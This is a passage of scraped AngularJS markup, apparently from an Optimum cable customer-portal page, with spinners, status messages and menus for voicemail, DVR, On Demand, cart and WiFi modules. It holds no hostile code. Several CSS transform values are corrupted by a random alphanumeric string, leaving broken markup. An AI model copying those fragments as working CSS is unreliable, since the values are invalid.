transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div class="no-entitlement-msg" ng-show="!isViewportSize.phone && (module.noEntitlement || module.holdEntitlement)" style="display: none;"> <!-- Webmail --> <h4 ng-show="module.id == 'webMail'" class="ng-binding" style="display: none;"></h4> <h4 ng-show="module.id == 'webMail'" class="ng-binding" style="display: none;"></h4> <!-- DVR --> <h4 ng-show="!isViewportSize.phone && module.id == 'dvr'" style="display: none;"> You do not have DVR service on Optimum TV. <!--<a cta-arrow-link class="primary" href="#">Learn More</a><span if="! isViewportSize.phone"></span>--> </h4> </div> <!-- Error --> <div class="service-error-msg" ng-show="!isViewportSize.phone && module.error" style="display: none;"> <!-- voicemail--> <h4 ng-show="module.id == 'voiceMail'" style="display: none;">We can't get your messages right now. Please try again later.</h4> <!-- webmail --> <h4 ng-show="module.id == 'webMail'" style="display: none;">We cant display your emails here right now, but you can still go to your inbox by clicking Open email box below.</h4> <!-- dvr --> <h4 ng-show="module.id == 'dvr'" style="display: none;">We can't get your DVR recordings right now. Please try again later.</h4> <!-- onTonight (EPG Miniguide) --> <h4 ng-show="module.id == 'onTonight'" style="display: none;">Sorry, we can't get upcoming shows right now. Please try again later.</h4> </div> <!-- Results --> <div class="list-module-results" ng-show="!isViewportSize.phone && module.items.length && !module.listError && !module.listLoading" style="display: none;"> <p ng-show="module.id == 'voiceMail'" ng-bind-html="module.mobileCountMessage" class="ng-binding" style="display: none;"></p> <!-- ngRepeat: item in module.items --> </div> <!-- No Results --> <div class="no-results-msg" ng-show="!isViewportSize.phone && !module.items.length && !module.error && !module.noEntitlement && !module.holdEntitlement"> <!-- voicemail--> <h4 ng-show="module.id == 'voiceMail'" ng-bind-html-unsafe="module.mobileCountMessage" class="ng-binding" style="display: none;"></h4> <!-- webmail --> <h4 ng-show="module.id == 'webMail'" style="display: none;">There are no messages in your inbox.</h4> <!-- dvr --> <h4 ng-show="module.id == 'dvr'" style="display: none;"> You have no recordings scheduled. Set some up using the <a href="#">Guide</a>. </h4> </div> </div> <!-- "ARTWORK" DISPLAY STYLE --> <div class="artwork-module-style" ng-show="module.displayStyle == 'artwork'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement && !module.items.length" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div class="no-entitlement-msg" ng-show="!isViewportSize.phone && module.noEntitlement" style="display: none;"> <!-- cart --> <h4 ng-show="module.id == 'cart'" style="display: none;">You do not have Optimum TV. <!--<a cta-arrow-link class="primary" href="#">Learn More</a>--><!-- if: ! isViewportSize.phone --><span if="! isViewportSize.phone" class="ng-scope"></span></h4> </div> <!-- Error --> <div class="service-error-msg" ng-show="!isViewportSize.phone && module.error" style="display: none;"> <!-- cart--> <h4 ng-show="module.id == 'cart'" style="display: none;">We can't get your <span ng-show="module.isLaBox" style="display: none;">Favorites</span><span ng-show="!module.isLaBox">Cart</span> right now. Please try again later.</h4> <!-- on demand--> <h4 ng-show="module.id == 'onDemand'" style="display: none;">We can't get On Demand right now. Please try again later. <!--<a href="#">All titles</a>.--></h4> </div> <!-- Results --> <div class="row" ng-show="!isViewportSize.phone && module.items.length > 0 && !module.artworkError && !module.loading" style="display: none;"> <!-- ngRepeat: item in module.items --> </div> <!-- No Results --> <div class="no-results-msg" ng-show="!isViewportSize.phone && !module.items.length && !module.error && !module.noEntitlement"> <!-- cart--> <h4 ng-show="module.id == 'cart'" style="display: none;">Your <span ng-show="module.isLaBox" style="display: none;">favorites</span><span ng-show="!module.isLaBox">cart</span> is empty. Pick some items in <a href="#">On Demand</a>.</h4> </div> </div> <!-- "WIFI" DISPLAY STYLE --> <div class="list-module-style wifi-chg" ng-show="module.displayStyle=='wifi'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div ng-show="!isViewportSize.phone && module.noEntitlement" style="display: none;"> <h4>Want to be able to access Optimum WiFi Hotspots? <!-- if: ! isViewportSize.phone --><span if="! isViewportSize.phone" class="ng-scope"></span> </h4> </div> <!-- Error --> <div ng-show="!isViewportSize.phone && module.error" style="display: none;"> <h4 ng-show="module.id == 'wifi'" style="display: none;"> We can't get your usage right now. Please try again later. </h4> </div> <!-- No Results --> <!-- Commenting for covid change --> <!-- <div ng-show="!isViewportSize.phone && !module.noEntitlement && !module.hasWifiUsage"> <h4>You could be getting more value from your Optimum Online service by using Optimum WiFi. <!--<a cta-arrow-link class="primary cta-link-margin" href="#">Learn More</a>--> <!-- </h4> </div> --> <div ng-show="!isViewportSize.phone && !module.noEntitlement && !module.hasWifiUsage"> <h4>We're here to help ensure you have the best WiFi connection in your home. </h4> </div> <div class="wifi-module-style" ng-show="!isViewportSize.phone && module.hasWifiUsage" style="display: none;"> <div class="row" ng-show="!module.wifiError && !module.wifiLoading"> <div class="span12"> <div class="row"> <div class="span4"> <h4>You've used</h4> </div> <div class="span4"> <h4>on</h4> </div> <div class="span4"> <h4>in</h4> </div> </div> <div class="row"> <div class="span4"> <h2 class="ng-binding"></h2> </div> <div class="span4"> <h2 class="ng-binding"></h2> </div> <div class="span4"> <h2 class="ng-binding"></h2> </div> </div> <div class="row"> <div class="span4"> <h5>gb</h5> </div> <div class="span4"> <h5>devices</h5> </div> <div class="span4"> <h5>days</h5> </div> </div> </div> </div> </div> </div> </div><!-- /feature-content --> <div class="feature-cta" ng-hide="module.id == 'onDemand' || module.id == 'onTonight'"> <div ng-hide="module.loading"> <span ng-show="module.link.mobileTitle" style="display: none;"><span class="primary hidden-desktop hidden-tablet cta-arrow-link" cta-arrow-link="" href="#"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span></span> <span ng-show="showLink && module.link.title" style="display: none;"> <span class="primary hidden-phone cta-arrow-link" cta-arrow-link="" href="#"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span></span> </div> </div> <div class="feature-cta" ng-show="module.id == 'onDemand' || module.id == 'onTonight'" style="display: none;"> <span class="primary hidden-desktop hidden-tablet cta-arrow-link" cta-arrow-link="" href="#" ng-show="module.link.mobileTitle" style="display: none;"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary hidden-phone cta-arrow-link-dt cta-arrow-link" ng-show="module.id == 'onDemand' || module.id == 'onTonight'" cta-arrow-link="" cta-arrow-link-dt="" href="#" style="display: none;"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> <!-- <div class="feature-cta" ng-show="module.error && module.id == 'onDemand' || module.noEntitlement" > <a cta-arrow-link class="primary hidden-desktop hidden-tablet" href="#" ng-show="module.link.mobileTitle"> <span>{{module.link.mobileTitle}}</span> </a> <a cta-arrow-link class="primary hidden-phone" href="#" ng-show="showLink && module.link.title"> <span>{{module.link.title}}</span> </a> </div>--> </div> </div> <!-- if: ! isViewportSize.phone --><p class="current-timestamp ng-scope ng-binding" if="! isViewportSize.phone" ng-hide="module.displayStyle=='wifi'">Current as of </p> </div> <div id="home-module-" class="span6 home-module" data-home-module="home-module" active="HomeCtrl.activeModules" data-module-type="'wifiUsage'"> <!--TODO: <div data-dropdown-checkbox="dropdown-checkbox"></div>--> <div class="feature-module"> <div class="select-feature"> <div class="container"> <div class="row"> <div class="span8"> <h2 class="module-title"> <span ng-show="isViewportSize.phone && module.mobileTitle" class="ng-binding" style="display: none;"></span> <span ng-hide="isViewportSize.phone && module.mobileTitle" class="ng-binding"></span> <!-- if: isViewportSize.phone --> <!-- if: isViewportSize.phone --> </h2> </div> <div class="span4"> <div class="dropdown-module-prefs hidden-phone"> <div class="customize-menu-btn">Change <i class="icon-caret-down"></i></div> <div class="menu"> <div class="arrow-up"></div> <table> <tbody><!-- ngRepeat: menuItem in module.menuItems --><tr ng-repeat="menuItem in module.menuItems" id="select-voiceMail" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Voicemail</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-onDemand" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">On Demand</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-wifiUsage" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">WiFi</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty is-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-webMail" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Email</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-cart" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Cart</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" 